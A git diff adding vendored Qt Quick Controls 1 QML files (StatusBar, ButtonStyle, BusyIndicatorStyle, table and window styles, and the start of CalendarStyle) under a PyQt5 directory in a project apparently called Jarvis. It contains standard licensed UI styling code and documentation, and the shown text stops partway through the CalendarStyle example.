a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewTransition.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewTransition.qml new file mode 100644 index 00000000..9f4719e3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewTransition.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +ParallelAnimation { + id: root + /*! The name of the animation that is running. Can be one of the following: + \list + \li 'PushTransition' + \li 'PopTransition' + \li 'ReplaceTransition' + \endlist + */ + property string name + /*! The page that is transitioning in. */ + property Item enterItem + /*! The page that is transitioning out */ + property Item exitItem + /*! Set to \c true if the transition is told to + fast-forward directly to its end-state */ + property bool immediate +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewTransition.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewTransition.qmlc new file mode 100644 index 00000000..b2f97001 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StackViewTransition.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StatusBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StatusBar.qml new file mode 100644 index 00000000..c1168d54 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StatusBar.qml @@ -0,0 +1,154 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype StatusBar + \inqmlmodule QtQuick.Controls + \since 5.1 + \ingroup applicationwindow + \ingroup controls + \brief Contains status information in your app. + + The common way of using StatusBar is in relation to \l ApplicationWindow. + + Note that the StatusBar does not provide a layout of its own, but requires + you to position its contents, for instance by creating a \l RowLayout. + + If only a single item is used within the StatusBar, it will resize to fit the implicitHeight + of its contained item. This makes it particularly suitable for use together with layouts. + Otherwise the height is platform dependent. + + \code + import QtQuick.Controls 1.2 + import QtQuick.Layouts 1.0 + + ApplicationWindow { + statusBar: StatusBar { + RowLayout { + anchors.fill: parent + Label { text: "Read Only" } + } + } + } + \endcode +*/ + +FocusScope { + id: statusbar + + activeFocusOnTab: false + Accessible.role: Accessible.StatusBar + + width: parent ? parent.width : implicitWidth + implicitWidth: container.leftMargin + container.rightMargin + + Math.max(container.layoutWidth, __panel ? __panel.implicitWidth : 0) + implicitHeight: container.topMargin + container.bottomMargin + + Math.max(container.layoutHeight, __panel ? __panel.implicitHeight : 0) + + /*! \qmlproperty Component StatusBar::style + + The style Component for this control. + \sa {StatusBarStyle} + + */ + property Component style: Settings.styleComponent(Settings.style, "StatusBarStyle.qml", statusbar) + + /*! \internal */ + property alias __style: styleLoader.item + + /*! \internal */ + property Item __panel: panelLoader.item + + /*! \internal */ + default property alias __content: container.data + + /*! + \qmlproperty Item StatusBar::contentItem + + This property holds the content Item of the status bar. + + Items declared as children of a StatusBar are automatically parented to the StatusBar's contentItem. + Items created dynamically need to be explicitly parented to the contentItem: + + \note The implicit size of the StatusBar is calculated based on the size of its content. If you want to anchor + items inside the status bar, you must specify an explicit width and height on the StatusBar itself. + */ + readonly property alias contentItem: container + + data: [ + Loader { + id: panelLoader + anchors.fill: parent + sourceComponent: styleLoader.item ? styleLoader.item.panel : null + onLoaded: item.z = -1 + Loader { + id: styleLoader + property alias __control: statusbar + sourceComponent: style + } + }, + Item { + id: container + z: 1 + focus: true + anchors.fill: parent + + anchors.topMargin: topMargin + anchors.leftMargin: leftMargin + anchors.rightMargin: rightMargin + anchors.bottomMargin: bottomMargin + + property int topMargin: __style ? __style.padding.top : 0 + property int bottomMargin: __style ? __style.padding.bottom : 0 + property int leftMargin: __style ? __style.padding.left : 0 + property int rightMargin: __style ? __style.padding.right : 0 + + property Item layoutItem: container.children.length === 1 ? container.children[0] : null + property real layoutWidth: layoutItem ? (layoutItem.implicitWidth || layoutItem.width) + + (layoutItem.anchors.fill ? layoutItem.anchors.leftMargin + + layoutItem.anchors.rightMargin : 0) : 0 + property real layoutHeight: layoutItem ? (layoutItem.implicitHeight || layoutItem.height) + + (layoutItem.anchors.fill ? layoutItem.anchors.topMargin + + layoutItem.anchors.bottomMargin : 0) : 0 + }] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StatusBar.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StatusBar.qmlc new file mode 100644 index 00000000..b4a6f20d Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/StatusBar.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ApplicationWindowStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ApplicationWindowStyle.qml new file mode 100644 index 00000000..398567bb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ApplicationWindowStyle.qml @@ -0,0 +1,136 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ApplicationWindowStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.4 + \ingroup controlsstyling + \brief Provides custom styling for ApplicationWindow. + + You can create a custom window background by replacing the "background" + delegate of ApplicationWindowStyle with a custom design. + + Example: + \qml + ApplicationWindow { + style: ApplicationWindowStyle { + background: BorderImage { + source: "background.png" + border { left: 20; top: 20; right: 20; bottom: 20 } + } + } + } + \endqml +*/ +QtObject { + /*! The window attached to this style. */ + readonly property ApplicationWindow control: __control + + /*! A custom background for the window. + + \note The window might have a custom background color set. The custom + background color is automatically filled by the window. The background + delegate should respect the custom background color by either hiding + itself altogether when a custom background color is set, or by letting + the custom background color shine through. + + The following read-only property is available within the scope + of the background delegate: + \table + \row \li \b {styleData.hasColor} : bool \li Whether the window has a custom background color set. + \endtable + */ + property Component background: Rectangle { + visible: !styleData.hasColor + color: SystemPaletteSingleton.window(true) + } + + /*! \internal */ + property Component panel: Item { + readonly property alias contentArea: contentArea + readonly property alias menuBarArea: menuBarArea + readonly property alias toolBarArea: toolBarArea + readonly property alias statusBarArea: statusBarArea + + Loader { + anchors.fill: parent + sourceComponent: background + } + + Item { + id: contentArea + anchors.top: toolBarArea.bottom + anchors.left: parent.left + anchors.right: parent.right + anchors.bottom: statusBarArea.top + } + + Item { + id: toolBarArea + anchors.top: parent.menuBarArea.bottom + anchors.left: parent.left + anchors.right: parent.right + implicitHeight: childrenRect.height + height: visibleChildren.length > 0 ? implicitHeight: 0 + } + + Item { + id: menuBarArea + anchors.top: parent.top + anchors.left: parent.left + anchors.right: parent.right + implicitHeight: childrenRect.height + height: visibleChildren.length > 0 ? implicitHeight: 0 + } + + Item { + id: statusBarArea + anchors.bottom: parent.bottom + anchors.left: parent.left + anchors.right: parent.right + implicitHeight: childrenRect.height + height: visibleChildren.length > 0 ? implicitHeight: 0 + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ApplicationWindowStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ApplicationWindowStyle.qmlc new file mode 100644 index 00000000..36455522 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ApplicationWindowStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BasicTableViewStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BasicTableViewStyle.qml new file mode 100644 index 00000000..334ee665 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BasicTableViewStyle.qml @@ -0,0 +1,164 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.4 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype BasicTableViewStyle + \internal + \inqmlmodule QtQuick.Controls.Styles + \inherits ScrollViewStyle + \qmlabstract +*/ + +ScrollViewStyle { + id: root + + /*! \qmlproperty BasicTableView BasicTableViewStyle::control + \internal */ + readonly property BasicTableView control: __control + + /*! \qmlproperty color BasicTableViewStyle::textColor + The text color. */ + property color textColor: SystemPaletteSingleton.text(control.enabled) + + /*! \qmlproperty color BasicTableViewStyle::backgroundColor + The background color. */ + property color backgroundColor: control.backgroundVisible ? SystemPaletteSingleton.base(control.enabled) : "transparent" + + /*! \qmlproperty color BasicTableViewStyle::alternateBackgroundColor + The alternate background color. */ + property color alternateBackgroundColor: "#f5f5f5" + + /*! \qmlproperty color BasicTableViewStyle::highlightedTextColor + The text highlight color, used within selections. */ + property color highlightedTextColor: "white" + + /*! \qmlproperty bool BasicTableViewStyle::activateItemOnSingleClick + Activates items on single click. + + Its default value is \c false. + */ + property bool activateItemOnSingleClick: false + + padding.top: control.headerVisible ? 0 : 1 + + /*! \qmlproperty Component BasicTableViewStyle::headerDelegate + \internal + + Different documentation for TableViewStyle and TreeViewStyle. + See qtquickcontrolsstyles-tableviewstyle.qdoc and qtquickcontrolsstyles-treeviewstyle.qdoc + */ + property Component headerDelegate: BorderImage { + height: Math.round(textItem.implicitHeight * 1.2) + source: "images/header.png" + border.left: 4 + border.bottom: 2 + border.top: 2 + Text { + id: textItem + anchors.fill: parent + verticalAlignment: Text.AlignVCenter + horizontalAlignment: styleData.textAlignment + anchors.leftMargin: horizontalAlignment === Text.AlignLeft ? 12 : 1 + anchors.rightMargin: horizontalAlignment === Text.AlignRight ? 8 : 1 + text: styleData.value + elide: Text.ElideRight + color: textColor + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + Rectangle { + width: 1 + height: parent.height - 2 + y: 1 + color: "#ccc" + } + } + + /*! \qmlproperty Component BasicTableViewStyle::rowDelegate + \internal + + Different documentation for TableViewStyle and TreeViewStyle. + See qtquickcontrolsstyles-tableviewstyle.qdoc and qtquickcontrolsstyles-treeviewstyle.qdoc + */ + property Component rowDelegate: Rectangle { + height: Math.round(TextSingleton.implicitHeight * 1.2) + property color selectedColor: control.activeFocus ? "#07c" : "#999" + color: styleData.selected ? selectedColor : + !styleData.alternate ? alternateBackgroundColor : backgroundColor + } + + /*! \qmlproperty Component BasicTableViewStyle::itemDelegate + \internal + + Different documentation for TableViewStyle and TreeViewStyle. + See qtquickcontrolsstyles-tableviewstyle.qdoc and qtquickcontrolsstyles-treeviewstyle.qdoc + */ + property Component itemDelegate: Item { + height: Math.max(16, label.implicitHeight) + property int implicitWidth: label.implicitWidth + 20 + + Text { + id: label + objectName: "label" + width: parent.width - x - (horizontalAlignment === Text.AlignRight ? 8 : 1) + x: (styleData.hasOwnProperty("depth") && styleData.column === 0) ? 0 : + horizontalAlignment === Text.AlignRight ? 1 : 8 + horizontalAlignment: styleData.textAlignment + anchors.verticalCenter: parent.verticalCenter + anchors.verticalCenterOffset: 1 + elide: styleData.elideMode + text: styleData.value !== undefined ? styleData.value.toString() : "" + color: styleData.textColor + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + } + } + + /*! \internal + Part of TreeViewStyle + */ + property Component __branchDelegate: null + + /*! \internal + Part of TreeViewStyle + */ + property int __indentation: 12 +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BasicTableViewStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BasicTableViewStyle.qmlc new file mode 100644 index 00000000..9942a0fd Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BasicTableViewStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BusyIndicatorStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BusyIndicatorStyle.qml new file mode 100644 index 00000000..da2a2aa5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BusyIndicatorStyle.qml @@ -0,0 +1,120 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype BusyIndicatorStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.2 + \ingroup controlsstyling + \brief Provides custom styling for BusyIndicatorStyle. + + You can create a busy indicator by replacing the "indicator" delegate + of the BusyIndicatorStyle with a custom design. + + Example: + \qml + BusyIndicator { + style: BusyIndicatorStyle { + indicator: Image { + visible: control.running + source: "spinner.png" + RotationAnimator on rotation { + running: control.running + loops: Animation.Infinite + duration: 2000 + from: 0 ; to: 360 + } + } + } + } + \endqml +*/ +Style { + id: indicatorstyle + + /*! The \l BusyIndicator this style is attached to. */ + readonly property BusyIndicator control: __control + + /*! This defines the appearance of the busy indicator. */ + property Component indicator: Item { + id: indicatorItem + + implicitWidth: 48 + implicitHeight: 48 + + opacity: control.running ? 1 : 0 + Behavior on opacity { OpacityAnimator { duration: 250 } } + + Image { + anchors.centerIn: parent + anchors.alignWhenCentered: true + width: Math.min(parent.width, parent.height) + height: width + source: width <= 32 ? "images/spinner_small.png" : + width >= 48 ? "images/spinner_large.png" : + "images/spinner_medium.png" + RotationAnimator on rotation { + duration: 800 + loops: Animation.Infinite + from: 0 + to: 360 + running: indicatorItem.visible && (control.running || indicatorItem.opacity > 0); + } + } + } + + /*! \internal */ + property Component panel: Item { + anchors.fill: parent + implicitWidth: indicatorLoader.implicitWidth + implicitHeight: indicatorLoader.implicitHeight + + Loader { + id: indicatorLoader + sourceComponent: indicator + anchors.centerIn: parent + width: Math.min(parent.width, parent.height) + height: width + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BusyIndicatorStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BusyIndicatorStyle.qmlc new file mode 100644 index 00000000..5ca5f86b Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/BusyIndicatorStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ButtonStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ButtonStyle.qml new file mode 100644 index 00000000..5a3fa551 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ButtonStyle.qml @@ -0,0 +1,175 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ButtonStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.1 + \ingroup controlsstyling + \brief Provides custom styling for Button. + + You can create a custom button by replacing the "background" delegate + of the ButtonStyle with a custom design. + + Example: + \qml + Button { + text: "A button" + style: ButtonStyle { + background: Rectangle { + implicitWidth: 100 + implicitHeight: 25 + border.width: control.activeFocus ? 2 : 1 + border.color: "#888" + radius: 4 + gradient: Gradient { + GradientStop { position: 0 ; color: control.pressed ? "#ccc" : "#eee" } + GradientStop { position: 1 ; color: control.pressed ? "#aaa" : "#ccc" } + } + } + } + } + \endqml + If you need a custom label, you can replace the label item. +*/ + +Style { + id: buttonstyle + + /*! The \l {QtQuick.Controls::}{Button} this style is attached to. */ + readonly property Button control: __control + + /*! The padding between the background and the label components. */ + padding { + top: 4 + left: 4 + right: 4 + (control.menu !== null ? Math.round(TextSingleton.implicitHeight * 0.5) : 0) + bottom: 4 + } + + /*! This defines the background of the button. */ + property Component background: Item { + property bool down: control.pressed || (control.checkable && control.checked) + implicitWidth: Math.round(TextSingleton.implicitHeight * 4.5) + implicitHeight: Math.max(25, Math.round(TextSingleton.implicitHeight * 1.2)) + Rectangle { + anchors.fill: parent + anchors.bottomMargin: down ? 0 : -1 + color: "#10000000" + radius: baserect.radius + } + Rectangle { + id: baserect + gradient: Gradient { + GradientStop {color: down ? "#aaa" : "#fefefe" ; position: 0} + GradientStop {color: down ? "#ccc" : "#e3e3e3" ; position: down ? 0.1: 1} + } + radius: TextSingleton.implicitHeight * 0.16 + anchors.fill: parent + border.color: control.activeFocus ? "#47b" : "#999" + Rectangle { + anchors.fill: parent + radius: parent.radius + color: control.activeFocus ? "#47b" : "white" + opacity: control.hovered || control.activeFocus ? 0.1 : 0 + Behavior on opacity {NumberAnimation{ duration: 100 }} + } + } + Image { + id: imageItem + visible: control.menu !== null + source: "images/arrow-down.png" + anchors.verticalCenter: parent.verticalCenter + anchors.right: parent.right + anchors.rightMargin: 4 + opacity: control.enabled ? 0.6 : 0.5 + } + } + + /*! This defines the label of the button. */ + property Component label: Item { + implicitWidth: row.implicitWidth + implicitHeight: row.implicitHeight + baselineOffset: row.y + text.y + text.baselineOffset + Row { + id: row + anchors.centerIn: parent + spacing: 2 + Image { + source: control.iconSource + anchors.verticalCenter: parent.verticalCenter + } + Text { + id: text + renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + anchors.verticalCenter: parent.verticalCenter + text: StyleHelpers.stylizeMnemonics(control.text) + color: SystemPaletteSingleton.buttonText(control.enabled) + } + } + } + + /*! \internal */ + property Component panel: Item { + anchors.fill: parent + implicitWidth: Math.max(labelLoader.implicitWidth + padding.left + padding.right, backgroundLoader.implicitWidth) + implicitHeight: Math.max(labelLoader.implicitHeight + padding.top + padding.bottom, backgroundLoader.implicitHeight) + baselineOffset: labelLoader.item ? padding.top + labelLoader.item.baselineOffset : 0 + + Loader { + id: backgroundLoader + anchors.fill: parent + sourceComponent: background + } + + Loader { + id: labelLoader + sourceComponent: label + anchors.fill: parent + anchors.leftMargin: padding.left + anchors.topMargin: padding.top + anchors.rightMargin: padding.right + anchors.bottomMargin: padding.bottom + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ButtonStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ButtonStyle.qmlc new file mode 100644 index 00000000..132f55c9 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ButtonStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CalendarStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CalendarStyle.qml new file mode 100644 index 00000000..bde2f2cc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CalendarStyle.qml @@ -0,0 +1,703 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype CalendarStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.3 + \ingroup controlsstyling + \brief Provides custom styling for \l Calendar. + + \section2 Component Map + + \image calendarstyle-components-week-numbers.png + + The calendar has the following styleable components: + + \table + \row \li \image square-white.png + \li \l background + \li Fills the entire control. + \row \li \image square-yellow.png + \li \l navigationBar + \li + \row \li \image square-green.png + \li \l dayOfWeekDelegate + \li One instance per day of week. + \row \li \image square-red.png + \li \l weekNumberDelegate + \li One instance per week. + \row \li \image square-blue.png + \li \l dayDelegate + \li One instance per day of month. + \endtable + + \section2 Custom Style Example + \qml + Calendar { + anchors.centerIn: parent + + style: CalendarStyle { + gridVisible: false + dayDelegate: Rectangle { + gradient: Gradient { + GradientStop { + position: 0.00 + color: styleData.selected ? "#111" : (styleData.visibleMonth && styleData.valid ? "#444" : "#666"); + } + GradientStop { + position: 1.00 + color: styleData.selected ? "#444" : (styleData.visibleMonth && styleData.valid ? "#111" : "#666"); + } + GradientStop { + position: 1.00 + color: styleData.selected ? "#777" : (styleData.visibleMonth && styleData.valid ? "#111" : "#666"); + } + } + + Label { + 